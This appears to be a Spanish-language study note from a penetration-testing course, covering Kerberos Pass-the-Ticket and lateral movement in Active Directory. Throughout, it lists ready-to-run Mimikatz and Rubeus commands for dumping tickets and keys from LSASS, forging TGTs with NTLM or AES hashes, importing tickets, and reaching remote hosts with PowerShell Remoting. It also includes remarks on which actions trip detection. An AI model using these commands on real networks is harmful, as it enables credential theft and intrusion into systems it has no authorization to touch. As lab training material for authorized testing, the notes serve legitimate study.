Kerberos - Pass the Ticket (PtT) y Movimiento Lateral
🔄 Visión General
-
Movimiento lateral en Active Directory utilizando un ticket Kerberos robado en lugar de un hash NTLM.
-
Se puede realizar desde Windows y Linux. (Esta nota se enfoca en Windows).
⚙️ Actualización del Protocolo Kerberos
-
Kerberos se basa en tickets para evitar enviar contraseñas a cada servicio.
-
TGT (Ticket Granting Ticket): Primer ticket obtenido, permite solicitar tickets de servicio.
-
TGS (Ticket Granting Service): Ticket específico para un servicio, presentado para autenticarse.
📚 Revisar la sección de Kerberos, DNS, LDAP, MSRPC en el módulo "Introducción a Active Directory".
🎯 Escenario de Ataque PtT
-
Objetivo: Obtener un ticket Kerberos válido (TGS o TGT).
-
Contexto: Acceso a una computadora comprometida (ej. mediante phishing) y posterior escalada a privilegios administrativos locales.
🧰 Herramientas Principales
-
Mimikatz
-
Rubeus
1. 🎣 Recolección de Tickets (Desde Windows)
1.1. Usando Mimikatz tickets /export
-
Los tickets se almacenan en el proceso LSASS.
-
Comandos:
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
-
Resultado: Archivos
.kirbicon los tickets. -
Los tickets de usuario siguen el formato:
[randomvalue]-username@service-domain.local.kirbi. -
Un ticket con el servicio
krbtgtcorresponde al TGT.

1.2. Usando Rubeus (dump)
- Comando:
Rubeus.exe dump /nowrap
-
Resultado: Tickets en formato Base64 (más fácil para copiar/pegar).
-
⚠️ Nota: Se necesitan derechos administrativos para recolectar todos los tickets.

2. 🔑 Pass the Key / OverPass the Hash
2.1. Extraer Claves de Kerberos (Mimikatz)
- Comando para obtener claves de cifrado (AES256, RC4, etc.):
sekurlsa::ekeys
2.2. Falsificar Ticket con Mimikatz pth
- Utiliza el hash NTLM (RC4) para crear un TGT.
sekurlsa::pth /domain:dominio.com /user:usuario /ntlm:hash_ntlm
- Crea una nueva ventana de
cmd.execon el contexto del usuario.
2.3. Falsificar Ticket con Rubeus (asktgt)
- Más flexible, permite usar distintos tipos de hash (
/rc4,/aes256, etc.).
Rubeus.exe asktgt /domain:dominio.com /user:usuario /aes256:clave_aes256 /nowrap
- ⚠️ Nota: Usar un hash
rc4_hmac(NTLM) en lugar de AES puede ser detectado como una "degradación de cifrado".
3. 🎫 Pass the Ticket (PtT) - Usar el Ticket
3.1. Con Rubeus (asktgt /ptt o ptt)
- Opción 1: Solicitar TGT e importarlo automáticamente.
Rubeus.exe asktgt /domain:dominio.com /user:usuario /rc4:hash_ntlm /ptt
- Opción 2: Importar un ticket
.kirbiexistente.
Rubeus.exe ptt /ticket:archivo.kirbi
- Opción 3: Importar un ticket en Base64.
Rubeus.exe ptt /ticket:<base64>
3.2. Con Mimikatz ptt
- Importar un archivo
.kirbia la sesión actual.
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
kerberos::ptt "C:\tools\[0;46bbc]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
- Usar
misc::cmdpara abrir una nueva ventana de comandos con el ticket importado.

4. ➡️ Movimiento Lateral con PowerShell Remoting
4.1. Con Mimikatz + PowerShell
-
Importar el ticket con
kerberos::ptt. -
Desde la misma ventana de
cmd, iniciar PowerShell. -
Conectarse al equipo remoto.
Enter-PSSession -ComputerName NombreDelServidor

4.2. Con Rubeus (createnetonly) + PowerShell
-
Crear un proceso sacrificial (sesión de inicio de sesión tipo 9) para no sobreescribir tickets existentes.
cmd
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
-
En la nueva ventana de
cmd, usar Rubeus para solicitar un TGT con/ptt. -
Iniciar PowerShell y conectarse al equipo remoto.
💡 Resumen de Comandos Clave
| Acción | Herramienta | Comando |
|---|---|---|
| Exportar Tickets | Mimikatz | sekurlsa::tickets /export |
| Rubeus | Rubeus.exe dump /nowrap |
|
| Extraer Claves | Mimikatz | sekurlsa::ekeys |
| OverPass The Hash | Mimikatz | sekurlsa::pth /domain:... |
| Rubeus | Rubeus.exe asktgt /domain:... /aes256:... |
|
| Importar Ticket | Mimikatz | kerberos::ptt ticket.kirbi |
| Rubeus | Rubeus.exe ptt /ticket:... |
|
| PowerShell Remoting | - | Enter-PSSession -ComputerName ... |
| Proceso Sacrificial | Rubeus | Rubeus.exe createnetonly /program:cmd.exe /show |
⚠️ Consideraciones Importantes
-
Permisos: Se requieren privilegios administrativos locales para la mayoría de las acciones de dumping.
-
Detección: El uso de cifrado RC4 (NTLM) en lugar de AES puede ser sospechoso.
-
Versiones: El comportamiento de Mimikatz puede variar ligeramente en diferentes versiones de Windows. Rubeus suele ser más consistente.
-
LSASS: Las operaciones interactúan directamente con el proceso LSASS, lo cual es monitorizado por soluciones EDR/AV.